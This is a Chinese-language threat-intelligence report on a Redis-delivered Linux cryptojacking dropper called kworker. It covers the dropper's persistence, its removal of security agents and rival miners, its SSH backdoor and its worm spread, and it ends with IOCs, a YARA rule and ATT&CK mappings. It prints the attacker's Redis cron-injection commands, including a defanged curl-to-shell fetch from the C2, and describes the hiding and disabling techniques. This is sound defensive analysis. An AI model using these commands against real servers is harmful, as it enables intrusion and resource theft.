本页为译文。英文版本为权威文本。 阅读英文版
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker:自带卸载程序的挖矿木马
Kinryū Labs 捕获到一个 8220 血统的挖矿劫持者,在大约五秒内把一个开放且无密码的 Redis 端口变成了 root shell。投放器是一个名为 kworker 的 636 行 shell 脚本,它用厂商自己的工具卸载阿里云和腾讯云的主机安全代理,花 200 行清除竞争对手的矿工,给 SSH 留后门,用伪造的 ps、top 和 pstree 隐藏一个 XMRig 门罗币矿工,并试图继续横向蠕动。
作者 Davis Zheng·
TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下文指标均已去毒化处理。
执行摘要
- 约 5 秒从开放的 Redis 端口到四个 root cron 后门
- 636行 bash,一套完整的主机接管工具包
- 2个以 base64 编码内嵌其中的厂商卸载程序
- 80+个被列入清除名单的竞争矿工
UTC 时间零点零六分,有人向我们其中一台蜜罐的 Redis 端口发起连接,执行了一条 INFO 看清楚对面是什么,然后断开。两秒后它回来并开始干活。到它断开连接为止,前后总共五秒,它已经用四种不同方式改写了服务器的 cron 表,并且每一条都指向同一个文件:一个名为 kworker 的 shell 脚本。
我们从未让它运行。脚本没有执行过;我们手上的是脚本本身和攻击者的命令序列。所以留给我们的就是完整的脚本,全部 636 行,以及攻击者的完整命令序列。两者合起来读,构成了 2026 年大路货 Linux 挖矿劫持所处位置的一份干净切面,而 kworker 是个不错的标本,因为这个门类历来发明过的手法它几乎都用上了。它还板着脸做了一件事:用杀毒厂商自己的卸载程序把你的杀毒软件卸掉。
- 属于 8220 Gang / kworkerds 血统的大路货挖矿劫持,机会主义、无特定目标(中等置信度)。 Redis 投递方式、被改名的下载工具、
/etc/javae锁文件,以及那份庞大的清除名单,都是这个家族的标志。我们维持在中等而不更高,是因为这属于被广泛分叉的代码,各团伙互相传递和转售,所以这个名字指向的是一条血统,而不是某一个作者。 - 目标是挖门罗币(高置信度)。 脚本的全部用途就是在为
javae启用大页之后拉取并启动它,那是一个 XMRig 构建。其余一切的存在,都是为了清场和守住这台主机。 - 这是成熟的、被反复使用的软件,不是谁的周末项目(高置信度)。 入侵本身写下的 cron 行调用了
cd1和wd1,而这两个工具只有在 kworker 安装之后才存在。这套工具包已经预设了自身的存在,这是流通了一段时间的代码才有的特征。 - 钱包的缺失是刻意的(高置信度)。 脚本里没有门罗币地址,也没有矿池;两者都在矿工二进制文件里,而我们没有拿到它。唯一能把这伙人的各次活动串起来的细节,恰好就是他们不放进脚本里的那个,和我们在 RedTail 上撞的是同一堵墙。
先 FLUSHALL,再用四种方式写进 cron
无密码暴露在互联网上的 Redis,多年来一直是一行命令就能拿到的 root shell,这里用的就是那套老可靠的手法。设置一个数据库键,其值是一条 cron 任务。让 Redis 把数据库保存到 cron 目录里。调用 SAVE。Redis 把数据库写到磁盘,连同你伪造的 cron 任务一起,一分钟后 cron 就以 root 身份运行它。我们这位访客先给服务器做了指纹识别,确认能写文件,关掉了保存失败时的保护开关,然后跑完了这套把戏。
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
整个入侵过程只花了几秒钟:
- 00:06:00 UTC连接,发送一条
INFO给服务器做指纹识别,断开。 - +2 秒重新连接。设置四个键,每个键存一行 cron。
CONFIG SET dir指向 cron 目录,CONFIG SET dbfilename指向目标 cron 文件,关闭 stop-writes-on-bgsave-error,然后SAVE。 - 总计 +5 秒断开。四个 cron 后门已埋下,全部指向 `kworker`。
- +1 分钟在真实主机上,cron 会以 root 身份运行埋下的那行命令并拉取
kworker。
值得放慢速度细看的是那份冗余。它写的不是一个 cron 任务;它把同一条指令写进了四个位置:/var/spool/cron/root、/var/spool/cron/crontabs、/etc/cron.d/javae 和 /etc/crontab,同时覆盖了 Red Hat 和 Debian 两种布局以及两种 cron 语法。每一行用不同的工具拉取 kworker,分别是 cd1、wget、curl、wd1,并按两分钟、三分钟、四分钟、五分钟的错开周期执行。其中两个名字根本不是真实存在的程序。cd1 和 wd1 是 kworker 安装之后把 curl 和 wget 改成的名字。入侵动作已经预设了它即将下载的那个脚本。整套工具包内部自洽,这就是你判断它是成熟的、被反复使用的软件而不是谁的周末项目的依据。
自带卸载程序
一拿到 root,kworker 就开始拆房子。防火墙被清空,ufw 关闭,SELinux 降到 permissive 随后在配置文件里禁用,AppArmor 停止,内核的 NMI watchdog 被关掉。这一条有意义,因为矿工会把 CPU 压在百分之百持续数周,而 watchdog 是为数不多可能察觉到的东西之一。/var/log/syslog 被直接删除。
接着它开始寻找云主机安全代理,脚本从这里开始就不普通了。国内几家大型云厂商会在自家虚拟机上预装主机代理:阿里云的安骑士,进程名是 AliYunDun;腾讯云的云镜;华为云的 HostGuard。kworker 逐一检查。发现阿里云那个时,它不只是杀掉进程。它运行的是阿里云官方的卸载程序,而且为了确保在一台回不了阿里云的机器上也能奏效,它把阿里云的两个卸载脚本以 base64 编码内嵌在自己体内。我们把两个都解码了。是正品,连 kprobe 跟踪的拆除逻辑都一应俱全。
它把你的终端防护干净利落地卸掉,按厂商设计的方式,还把日志收拾整齐。
这不是临场发挥。有人坐在一台真实的阿里云机器前,把卸载程序扒下来,然后内置了进去。
一场用 bash 写成的地盘之争
如果你从没读过这类脚本,最让人意外的是其中有多大比例是冲着其他犯罪分子去的。矿工真正的敌人是下一个想租用同一颗 CPU 的矿工,而不是系统管理员。kworker 花了大约两百行追杀同行,并且用它能抓到的每一种把柄去杀。
- 按进程名,取自一份超过一百项的阻断列表:
xmrig、kinsing、kdevtmpfsi、watchdogs和watchbog家族、ddg、sustes,以及它自己名字所源出的更早的kworkerds。 - 按端口,也就是挖矿池和 IRC 机器人常驻的那些。
- 按硬编码的 IP 地址。
- 按 CPU,这一招最粗暴: 任何以它不认识的名字占用超过 40% 处理器的进程都会被杀掉,逻辑是一个吃 CPU 的陌生进程按定义就是竞争矿工。
它从 /tmp 和 /dev/shm 删掉对方的文件,清除对方的 cron 任务,移除其中一些会安装的 preload rootkit,还会伸手进 Docker 杀掉并删除已知的挖矿镜像。这和我们在 RedTail 的 clean 脚本 以及 Rootpacket 的 killservice.sh 中记录过的是同一场圈地运动;这些团伙都在争抢同一批配置错误的机器,而且开场动作都是清场。
它还专门而且反复地对 TeamTNT 不客气,把 TeamTNT 做的 curl 和 wget 改名还原回去,并清空其目录。杀掉 Kinsing 时,它用 fuckyou 这个词覆写文件并将其锁定,让 Kinsing 无法把自己装回去。这里没有道义,只有圈地,而 kworker 下手比大多数同行更狠。
把名单仔细读一遍,它就变成了一份竞争对手藏身方式的目录。一批目标伪装成内核线程,kacpi_svc、kswap_svc、kthreadd_svc、ksoftirqd_svc;另一批伪装成系统守护进程,polkitd、acpid、dbus-daemon--system,以及把本该是 L 的位置换成大写 I 的 systemctI。kworker 追杀的正是它的对手所穿的那些伪装,而这些伪装也正是它自己几行之后把 javae 藏进 systemd-network、irqbalanced 之类名字里时所采用的。这场争斗中人人都扮成无聊的系统噪音,人人都背熟了彼此的戏服。
有几个目标根本不是名字。其中一个是 L2Jpbi9iYXN,这是一条 /bin/bash 命令 base64 编码后的开头。kworker 在进程表里 grep 这个编码前缀,靠命令行里那段 base64 数据块揪出对手的加载器。
整份名单相当长,有一百多种指认一个你想弄死的进程的方式,光是为了感受这场宿怨的质地,也值得浏览一遍:
完整清除名单,摘自捕获到的脚本
摘自 kill_miner_proc、kill_sus_proc 和 Docker 清扫部分。这里列出的都是 kworker 追杀的目标,不是它自己的基础设施。IP 已去毒化处理。
它会杀掉占用这些端口的任何进程(挖矿池、IRC 机器人、RAT、备用 SSH 和 Telnet):23、143、2222、3333、3347、3389、5555、6665、6666、6667、7777、8444、10008、13531。
可辨识的矿工和僵尸网络家族: xmrig、xmrig-cpu、xmrig-notls、xmr-stak、mstxmr、cnrig、minerd、minergate、cryptonight、crypto-pool、moneroocean、kinsing、kdevtmpfsi、kworkerds、kworker34、watchdogs、watchd0g、watchbog、ddg、ddg.2011、sustes、sustse、sustse3、kthrotlds、ksoftirqds、tntrecht(TeamTNT)、nanoWatch、sourplum、disk_genius、biosetjenkins、nullcrew。
伪装成内核线程的对手: kacpi_svc、kswap_svc、kauditd_svc、kpsmoused_svc、kseriod_svc、kthreadd_svc、ksoftirqd_svc、kintegrityd_svc、kblockd_svc、native_svc。
伪装成系统守护进程的对手: polkitd、acpid、dbus-daemon--system、irqbalance、irqbalanc1、crond64、nginxk、vmlinuz、systemctI(大写 i,不是 systemctl)、systemten、systemxlv、svcupdate、netdns、netns、redis2、rsync、httpgd、haveged、voltuned、nqscheduler。
其他具名载荷、脚本和各次活动的标记: apaceha、apachiii、mixnerdx、mixtape、performedl、conns、mgwsl、pythno、jweri、lx26、i586、gddr、askdljlqw、ysaydh、bonns、donns、kxjd、nopxi、deamon、zigw、devtool、devtools、suppoie、exin、xr、jawa、ynn、servim、darwin、sysstats、Loopback、XJnRj、NXLAi、BI5zj、icb5o、wnTKYg、2t3ik、qW3xT.2、hahwNEdB、CnzFVPLF、CvKzzZLs、OIcJi1m、IOFoqIgyC0zmf2UR、65ccEJ7、jmxx、2Ne80nA、C4iLM4L、Guard.sh、Duck.sh、bonn.sh、conn.sh、kw.sh、pro.sh、mr.sh、2mr.sh、cr5.sh、he.sh、miner.sh、l.sh、z3.sh、lower.sh、ndt.sh、logo9.jpg、oracle.jpg、init10.cfg、init12.cfg、j2.conf、zer0day.ru、gitee.com。
混淆过的启动器和投放的配置文件: ./ppp、./vsp、./jvs、./pvv、./vpp、./pces、./rspce、./jiba、./haveged、./watchbog、./servceaess 及其各种拼写变体、mwyumwdbpq.conf、honvbsasbf.conf、mqdsflm.cf、/wl.conf、wc.confz,外加 base64 加载器标记 L2Jpbi9iYXN(一条 /bin/bas... 单行命令的开头)。
它见即射杀的竞争对手矿池和 C2 IP: 45.76.122[.]92、51.38.191[.]178、51.15.56[.]161、104.248.4[.]162、89.35.39[.]78、107.174.47[.]156、107.174.47[.]181、83.220.169[.]247、51.38.203[.]146、144.217.45[.]45、176.31.6[.]16、46.243.253[.]15、200.68.17[.]196、188.209.49[.]54、181.214.87[.]241、121.42.151[.]137。
它会杀掉并删除的 Docker 镜像和容器: 名为 pocosow、gakeaws、azulu、auto、xmr、mine、slowhttp、bash.shell 的容器;镜像引用 pocosow、gakeaws、buster-slim、hello-、azulu、registry、xmr、monero、mine、slowhttp。
还有那招粗暴的: 任何 CPU 占用超过 40% 且不匹配 javae 的进程都会被杀掉,任何占用超过 10% 且名字看起来像带方括号内核线程的进程也一样,还有任何从 /tmp 里运行的东西,以及任何名字长得可疑的进程。
现在你看不见它了
清完场之后,它把自己这名选手藏起来。它把 ps、top 和 pstree 换成两行的包装脚本,由这些脚本调用真正的二进制文件,并悄悄过滤掉任何提及矿工(javae)或它自带的扫描器(pnscan)的行,然后把这些伪造文件的时间戳回调到 2016 年,免得看起来是新的。在被感染的机器上运行 ps,矿工根本不会出现在列表里。
矿工的命名本来就是为了消失在进程表里:javae 旁边还摆着以 systemd-network、irqbalanced、kswaped 之类名字埋下的锁文件,每一个都选得像是无聊的系统噪音。
一把钥匙,和通往邻居的路
还有两步动作完成了这次接管。
它把操作者的 SSH 公钥写进 root 的 authorized_keys,注释就是 uc1,并把该文件设为不可修改,所以光是发现它还不够;你得先清掉 immutable 位才能删掉它。这是一条比矿工被清理更长寿的人工访问通道。
然后它试图扩散。它读取 root 的 known_hosts,也就是这台机器登录过的所有机器的清单,并用磁盘上现成的密钥尝试 SSH 连接每一台,在任何放它进去的机器上执行一条单行命令,从备用地址拉取 kworker,把整个故事重演一遍。它不是一条快速的蠕虫,而且依赖于无密码密钥被随手留在机器上,但在那类通常确实如此的机群里,这就足够了。
矿工,以及我们没拿到的钱包
尽管有这么多机关,真正赚钱的部分很无聊:第二个文件 javae,一个挖门罗币的 XMRig 构建。kworker 打开大页(vm.nr_hugepages 设为 128,这是 XMRig 的标准提速手段),把 javae 放进 /etc,然后运行它。
这份报告的缺口就在这里。我们没有 javae,也没有钱包。脚本里没有门罗币地址,也没有矿池;这些都编进了矿工二进制文件,而该文件是在运行时拉取的,C2 也没有把它提供给任何查看过这个样本的公开沙箱,所以被动分析没有东西可拆。任何单独分析 kworker 的人都会撞上同一堵墙。钱包是唯一能把这伙人的各次活动串起来的东西,而这恰恰就是他们不放进脚本里的东西。
托管在 Cloudflare 上,是有意为之
脚本和矿工都来自 download.logltech[.]workers[.]dev,一个 Cloudflare Workers 地址,这是刻意的选择。Workers 免费,默认走 HTTPS,借用了 Cloudflare 的信誉从而能绕过域名阻断列表,还隐藏了操作者实际控制的源站。每一个载荷 URL 都解析到 Cloudflare;操作者真正的源站从未暴露。
蠕虫使用的备用通道是 tutorial.clashverge[.]space,注册于二月下旬。脚本里硬编码的其他每一个 IP 地址都属于它想弄死的竞争对手,分散在 Vultr、OVH 和 DigitalOcean 的机器上,还有一台位于杭州的阿里云主机,跟这个操作者完全无关。把这些硬编码 IP 当成一份目标清单来读,而不是基础设施。
这是谁的?
那就谨慎点说。这是一种大路货挖矿劫持,血统通常被归到 8220 Gang 或 kworkerds 名下。特征一应俱全:Redis cron 注入的投递方式、curl 改名为 cd1、/etc/javae 锁文件、pnscan 扩散器、那份庞大无比的清除名单。杀毒引擎在命名上无法达成一致,而这本身就说明了问题。ClamAV 叫它 Rocke,Rising 标为 TeamTNT,其余的就只说 CoinMiner。这些脚本在六七个团伙之间被复制、合并、转售,而 kworker 杀的对象里就有好几个与它同源的家族。
把家族当成一个街区来看待,而不是一枚指纹。
对国内云主机代理的针对性,以及 VirusTotal 关联到同一样本的一个 Windows PowerShell 兄弟版本,把图景补得更完整,但稳妥的说法是那个保守的说法。被广泛分叉、以获利为动机、非定向、也不新鲜。中等置信度,而且安于此。
失陷指标
网络
| 指标 | 说明 |
|---|---|
download.logltech[.]workers[.]dev | C2(主用),Cloudflare Workers。提供 /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2(备用),由蠕虫使用。注册于 2026 年 2 月 27 日 |
170.9.225[.]197 | 攻击 Redis 蜜罐的来源 IP |
*.workers.dev 主机 + /up/down/api/ 下的 GET | 值得在流量侧重点排查的载荷拉取模式 |
文件(SHA-256 / MD5)
| 文件 | SHA-256 | MD5 |
|---|---|---|
kworker(投放器) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae(XMRig 矿工) | 未获取,预期 5,685,096 字节 |
SSH 后门密钥: 注释为 uc1,公钥指纹 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY。在全网资产的 authorized_keys 中排查它。
主机痕迹
| 路径 | 说明 |
|---|---|
/etc/kworker、/etc/javae、/etc/cron.d/javae、/tmp/{kworker,javae} | 投放的文件 |
/usr/bin/cd1(原 curl)、/usr/bin/wd1(原 wget) | 被改名的下载工具 |
/bin/ps.original、/bin/top.original、/bin/pstree.original | 被藏在木马化包装脚本背后的真实二进制文件 |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | 不可修改的单字节名称锁文件 |
vm.nr_hugepages = 128 | 为 XMRig 启用的大页 |
行为
- 实际上是一个通过
grep -v过滤的 shell 脚本的ps、top或pstree。 - 一个不是你写的、以注释
uc1结尾的authorized_keys。 - 运行
sh /etc/kworker或sh /tmp/kworker的 cron 任务,以及一个本不该存在的/etc/cron.d/javae。 - 位于
/usr/bin/kswaped及其同类路径下的不可修改的单字节文件。 - 被改名成
cd1和wd1的curl和wget。 - 被悄悄设成 128 的
vm.nr_hugepages。
检测
主机侧的破绽一旦你知道了就很显眼,上面都已列出。在流量侧,任何解析 *.workers.dev 主机并请求 /up/down/api/ 下路径的行为都值得重点排查。下面是一条命中稳定字符串的 YARA 规则。它有意携带真实字符串,用于检测。
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
这应该改变什么
这里面没有任何高深的东西,而这正是教训所在。kworker 能进来,是因为一个 Redis 端口开着且没有密码,一个 2018 年的错误在 2026 年依然有回报。之后的一切,卸载 EDR、rootkit、蠕虫,之所以有意义,只是因为前门没锁。
- 不要把 Redis 或任何数据存储暴露到互联网上,并且要求认证。 把一个开放的服务当成整台主机的失陷来处理,而不是单个服务的失陷。
- 像看待生产代码一样盯住 cron 和
authorized_keys, 因为对攻击者来说它们正是生产代码。 - 不要把机器上的云主机代理当成安全网。 kworker 的第一反应就是走上前去,客客气气地用厂商自己的工具把它卸掉。
MITRE ATT&CK 映射
| 战术 | 技术 |
|---|---|
| 初始访问 | T1190 Exploit Public-Facing Application(Redis) |
| 执行 | T1059.004 Unix Shell |
| 持久化 | T1053.003 Cron;T1098.004 SSH Authorized Keys |
| 防御规避 | T1562.001 Impair Defenses: Disable or Modify Tools(卸载云主机代理和 EDR);T1562.004 Disable or Modify System Firewall;T1070.002 Clear Linux or Mac System Logs;T1014 Rootkit(木马化的 ps/top/pstree);T1036.005 Masquerading: Match Legitimate Name;T1222.002 Linux File and Directory Permissions Modification(chattr +i);T1070.006 Timestomp(时间戳回调的伪造文件) |
| 发现 | T1057 Process Discovery(追杀同行);T1518.001 Security Software Discovery(云主机代理);T1046 Network Service Scanning(pnscan) |
| 横向移动 | T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer |
| 命令与控制 | T1071.001 Web Protocols;T1102 Web Service(Cloudflare Workers);T1105 Ingress Tool Transfer |
| 影响 | T1496 Resource Hijacking(门罗币挖矿) |
方法与分析人员说明
- 分析为静态、被动方式。投放器从未被执行,也从未接触过任何攻击者基础设施。结论来自完整通读捕获到的 636 行脚本、解码内嵌的 base64 卸载程序,以及复查记录下来的 Redis 会话。
- 上文指标已去毒化处理。YARA 规则按设计包含真实字符串,用于检测。
- 我们没有第二阶段的矿工(
javae),也没有门罗币钱包。脚本两者都不含;两者都在矿工二进制文件里,该文件在运行时拉取,而 C2 并未将其提供给公开沙箱。要拿到钱包需要做一次带流量抓包的实机引爆,我们没有执行。 - 样本(投放器和解码后的卸载程序)可应请求提供给其他研究人员和防守方。请发邮件至 contact@kinryu.sh,简要说明你是谁以及用途。